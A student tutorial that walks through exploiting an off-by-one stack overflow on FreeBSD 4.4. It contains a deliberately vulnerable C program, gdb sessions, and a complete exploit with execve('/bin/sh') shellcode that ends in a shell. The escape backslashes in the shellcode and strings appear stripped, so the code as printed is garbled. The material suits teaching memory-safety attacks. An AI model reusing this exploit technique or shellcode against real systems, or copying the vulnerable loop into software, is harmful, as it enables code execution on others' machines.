Of-By-One
I wrote the following article during my second year of computer science school. In order to understand the following, you should know about C language programming, the gdb debugger and the memory layout of a process. I created and tested the exploit on a FreeBSD 4.4 OS.
The of-by-one overflow (on FreeBSD 4.4)
A vulnerable program
The aim of the of-by-one is to exploit a buffer overflow when you can only overflow the buffer of a program by one byte. It is actually a pretty common bug. Let’s create a program with an of-by-one vulnerability.
bash-2.05$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
void foo(char *string)
{
char buffer[256];
int i;
for(i = 0; string[i] != '\0' && i <= 256; i++)
buffer[i] = string[i];
}
int main(int argc, char **argv)
{
if (argc != 2)
{
printf("usage: %s stringn", argv[0]);
exit(1);
}
foo(argv[1]);
return 0;
}
bash-2.05$ gcc -o vuln vuln.c
bash-2.05$ ./vuln foofoo
bash-2.05$ ./vuln `perl -e 'print "A"x255'`
bash-2.05$ ./vuln `perl -e 'print "A"x256'`
Segmentation fault (core dumped)
bash-2.05$
The mistake is in foo, caused by a “<=" instead of a "<". If string is longer than 256 bytes then its first 256 bytes are copied in buffer which is 256 bytes long, and then the 257th byte of string is copied out of the buffer, right next in the stack. Let’s try to determine what exactly is overwritten to explain the “Segmentation fault”
bash-2.05$ gcc -o vuln vuln.c
bash-2.05$ gdb vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...(no debugging symbols found)...
(gdb) b main
Breakpoint 1 at 0x804851e
(gdb) r `perl -e 'print "A"x257'`
Starting program: /home/girbal_a/buffover/vuln `perl -e 'print "A"x256'`
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x804851e in main ()
(gdb) i r
eax 0x0 0
ecx 0x280e9960 672045408
edx 0x4 4
ebx 0x2 2
esp 0xbfbff694 0xbfbff694
ebp 0xbfbff69c 0xbfbff69c
esi 0xbfbff6f0 -1077938448
edi 0xbfbff6fc -1077938436
eip 0x804851e 0x804851e
eflags 0x282 642
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb) disas main
Dump of assembler code for function main:
0x8048518 <main>: push %ebp
0x8048519 <main+1>: mov %esp,%ebp
0x804851b <main+3>: sub $0x8,%esp
0x804851e <main+6>: cmpl $0x2,0x8(%ebp)
0x8048522 <main+10>: je 0x8048548 <main+48>
0x8048524 <main+12>: add $0xfffffff8,%esp
0x8048527 <main+15>: mov 0xc(%ebp),%eax
0x804852a <main+18>: mov (%eax),%edx
0x804852c <main+20>: push %edx
0x804852d <main+21>: push $0x804859b
0x8048532 <main+26>: call 0x8048358 <printf>
0x8048537 <main+31>: add $0x10,%esp
0x804853a <main+34>: add $0xfffffff4,%esp
0x804853d <main+37>: push $0x1
0x804853f <main+39>: call 0x8048378 <exit>
0x8048544 <main+44>: add $0x10,%esp
0x8048547 <main+47>: nop
0x8048548 <main+48>: add $0xfffffff4,%esp
0x804854b <main+51>: mov 0xc(%ebp),%eax
0x804854e <main+54>: add $0x4,%eax
0x8048551 <main+57>: mov (%eax),%edx
0x8048553 <main+59>: push %edx
0x8048554 <main+60>: call 0x8048494 <foo>
0x8048559 <main+65>: add $0x10,%esp
0x804855c <main+68>: xor %eax,%eax
0x804855e <main+70>: jmp 0x8048560 <main+72>
0x8048560 <main+72>: leave
0x8048561 <main+73>: ret
0x8048562 <main+74>: mov %esi,%esi
End of assembler dump.
(gdb) b *0x8048559
Breakpoint 2 at 0x8048559
(gdb) c
Continuing.
Breakpoint 2, 0x8048559 in main ()
(gdb) i r
eax 0xbfbff57c -1077938820
ecx 0xbfbff901 -1077937919
edx 0x100 256
ebx 0x2 2
esp 0xbfbff684 0xbfbff684
ebp 0xbfbff641 0xbfbff641
esi 0xbfbff6f0 -1077938448
edi 0xbfbff6fc -1077938436
eip 0x8048559 0x8048559
eflags 0x282 642
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb)
It seems that after foo returns in main, the ebp is different than before the foo call.
- before: 0xbfbff69c
- after: 0xbfbff641
Has “41″ something to do with the ‘A’ character (code 0×41)?
the idea behind the exploit
Let’s take a look at the stack organization when in foo.

When the program overflows the buffer, it overwrites the first byte of the saved ebp (the one of main), which is pointed to by the current ebp. How can we take advantage of this? We know that when a function returns, 2 instructions are executed:
- leave: esp takes the value of the current ebp. Then the value it points to (the saved ebp) is poped into ebp. After the pop, esp points to the return instruction’s address.
- ret: the value esp points to is poped into eip, so that the execution goes on in the function of the previous frame.
With this in mind, here is the idea: we change the value of the main’s ebp so that when foo returns, ebp takes a value that points to an address that is four bytes ahead of the address of a shellcode. Then when main returns, esp takes the value of ebp, pops the value it points to into ebp (this value isn’t important). Then the return address, 4 bytes further, is popped into eip. The execution flow follows eip which points to the address of the shellcode.
Where should we put the address of the shellcode and the shellcode itself? The address of the shellcode that will be popped in eip must be close to the normal saved ebp as we can only change the last byte of the address. its address must have the same first 3 bytes as the normal address. The best place for it is probably at the end of buffer. The shellcode itself can be placed before that address in the buffer, if this one is big enough. We could also put it in an environment variable. In our example we will write it in the buffer.
Here is what the stack should look like after the overflow:

We must determine the address of the buffer in order to know:
- the address of the shellcode
- the address of the value containing that address
the exploit
Let’s write an uncomplete exploit with a basic shellcode.
bash-2.05$ cat exploit.c
#include <unistd.h>
#include <string.h>
char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x50x54x53"
"xb0x3bx50xcdx80";
int main()
{
char buffer[1024];
int len = strlen(shellcode);
bzero(buffer, 1024); //zero the buffer
memset(buffer, 0x90, 252 - len); //put the nops
strncat(buffer, shellcode, len); //put the shellcode
buffer[252] = 0x00;// an address
buffer[253] = 0x00;// pointing in
buffer[254] = 0x00;// the middle
buffer[255] = 0x00;// of the nops
buffer[256] = 0x00;// the overflowing byte
execl("./vuln", "vuln", buffer, NULL);
return 0;
}
bash-2.05$ gcc -o exploit exploit.c
bash-2.05$ gdb -exec=exploit -symbols=vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...(no debugging symbols found)...
(gdb) r
Starting program: /home/girbal_a/buffover/exploit
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
0x2804b360 in .rtld_start () from /usr/libexec/ld-elf.so.1
(gdb) b foo
Breakpoint 1 at 0x804849e
(gdb) c
Continuing.
Breakpoint 1, 0x804849e in foo ()
(gdb) disas foo
Dump of assembler code for function foo:
0x8048494 <foo>: push %ebp
0x8048495 <foo+1>: mov %esp,%ebp
0x8048497 <foo+3>: sub $0x114,%esp
0x804849d <foo+9>: push %ebx
0x804849e <foo+10>: nop
0x804849f <foo+11>: movl $0x0,0xfffffefc(%ebp)
0x80484a9 <foo+21>: lea 0x0(%esi),%esi
0x80484ac <foo+24>: mov 0x8(%ebp),%eax
0x80484af <foo+27>: mov 0xfffffefc(%ebp),%edx
0x80484b5 <foo+33>: add %edx,%eax
0x80484b7 <foo+35>: cmpb $0x0,(%eax)
0x80484ba <foo+38>: je 0x80484cc <foo+56>
0x80484bc <foo+40>: cmpl $0xff,0xfffffefc(%ebp)
0x80484c6 <foo+50>: jle 0x80484d0 <foo+60>
0x80484c8 <foo+52>: jmp 0x80484cc <foo+56>
0x80484ca <foo+54>: mov %esi,%esi
0x80484cc <foo+56>: jmp 0x80484f4 <foo+96>
0x80484ce <foo+58>: mov %esi,%esi
0x80484d0 <foo+60>: lea 0xffffff00(%ebp),%eax <----
0x80484d6 <foo+66>: mov 0xfffffefc(%ebp),%edx |
0x80484dc <foo+72>: mov 0x8(%ebp),%ecx |
0x80484df <foo+75>: mov 0xfffffefc(%ebp),%ebx |
0x80484e5 <foo+81>: add %ebx,%ecx |
0x80484e7 <foo+83>: mov (%ecx),%bl |
0x80484e9 <foo+85>: mov %bl,(%edx,%eax,1) |
0x80484ec <foo+88>: incl 0xfffffefc(%ebp) |
0x80484f2 <foo+94>: jmp 0x80484ac <foo+24> |
0x80484f4 <foo+96>: lea 0xffffff00(%ebp),%eax |
0x80484fa <foo+102>: mov 0xfffffefc(%ebp),%edx |
0x8048500 <foo+108>: mov 0x8(%ebp),%ecx |
0x8048503 <foo+111>: mov 0xfffffefc(%ebp),%ebx |
0x8048509 <foo+117>: add %ebx,%ecx |
0x804850b <foo+119>: mov (%ecx),%bl |
0x804850d <foo+121>: mov %bl,(%edx,%eax,1) |
0x8048510 <foo+124>: mov 0xfffffee8(%ebp),%ebx |
0x8048516 <foo+130>: leave |
0x8048517 <foo+131>: ret |
End of assembler dump. |
(gdb) b *0x80484d0 <----------- here the program get the buffer via ebp.
Breakpoint 2 at 0x80484d0
(gdb) c
Continuing.
Breakpoint 2, 0x80484d0 in foo ()
(gdb) i r
eax 0xbfbff801 -1077938175
ecx 0x280e9960 672045408
edx 0x0 0
ebx 0x2 2
esp 0xbfbff57c 0xbfbff57c
ebp 0xbfbff694 0xbfbff694
esi 0xbfbff708 -1077938424
edi 0xbfbff714 -1077938412
eip 0x80484d0 0x80484d0
eflags 0x293 659
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb) q
The program is running. Exit anyway? (y or n) y
bash-2.05$
We know that buffer is at the address 0xbfbff694 + 0xffffff00, so it begins at 0xbfbff594 and ends at 0xbfbff694. The address that will be poped must point in the zone of the nops or to the beginning of our shellcode. Let’s choose 0xbfbff620. This value will be placed in the last 4 bytes of buffer, at the address 0xbfbff690. Consequently the overflowing byte should have the value 0×8c so that the saved ebp will point 4 bytes ahead of the shellcode’s address. Here is the complete exploit.
bash-2.05$ cat exploit.c
#include <unistd.h>
#include <string.h>
char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x50x54x53"
"xb0x3bx50xcdx80";
int main()
{
char buffer[1024];
int len = strlen(shellcode);
bzero(buffer, 1024);
memset(buffer, 0x90, 252 - len);
strncat(buffer, shellcode, len);
buffer[252] = 0x20;
buffer[253] = 0xf6;
buffer[254] = 0xbf;
buffer[255] = 0xbf;
buffer[256] = 0x8c;
execl("./vuln", "vuln", buffer, NULL);
return 0;
}
bash-2.05$ gcc -o exploit exploit.c
bash-2.05$ ./exploit
Floating point exception (core dumped)
bash-2.05$
Oops… it seems that there is a problem during the execution of our shellcode.
Problem with the shellcode
Let’s check the shellcode.
bash-2.05$ cat assembleur.c
int main()
{
__asm__(" xorl %eax, %eax n"
" pushl %eax n"
" pushl $0x68732f2f n"
" pushl $0x6e69622f n"
" movl %esp,%ebx n"
" pushl %eax n"
" pushl %esp n"
" pushl %ebx n"
" movb $0x3b,%al n"
" pushl %eax n"
" int $0x80 n");
}
bash-2.05$
When the execution of the shellcode begins, esp points 8 bytes after the end of the buffer (we have popped 2 times, for ebp and eip) and so only 12 bytes after our shellcode. We can imagine what the problem is: the shellcode pushes six values on the stack, and so overwriting 12 of its own bytes. One solution is to add an instruction at the beginning of the shellcode in order to make esp pointing further away.
bash-2.05$ cat assembleur.c
int main()
{
__asm__(" addl $0x30, %esp n"
" xorl %eax, %eax n"
" pushl %eax n"
" pushl $0x68732f2f n"
" pushl $0x6e69622f n"
" movl %esp,%ebx n"
" pushl %eax n"
" pushl %esp n"
" pushl %ebx n"
" movb $0x3b,%al n"
" pushl %eax n"
" int $0x80 n");
}
bash-2.05$ cat exploit.c
#include <unistd.h>
#include <string.h>
char shellcode[]=
"x83xc4x30x31xc0x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x50x54x53"
"xb0x3bx50xcdx80";
int main()
{
char buffer[1024];
int len = strlen(shellcode);
bzero(buffer, 1024);
memset(buffer, 0x90, 252 - len);
strncat(buffer, shellcode, len);
buffer[252] = 0x20;
buffer[253] = 0xf6;
buffer[254] = 0xbf;
buffer[255] = 0xbf;
buffer[256] = 0x8c;
execl("./vuln", "vuln", buffer, NULL);
return 0;
}
bash-2.05$ gcc -o exploit exploit.c
bash-2.05$ ./exploit
$
Here we go, we got a shell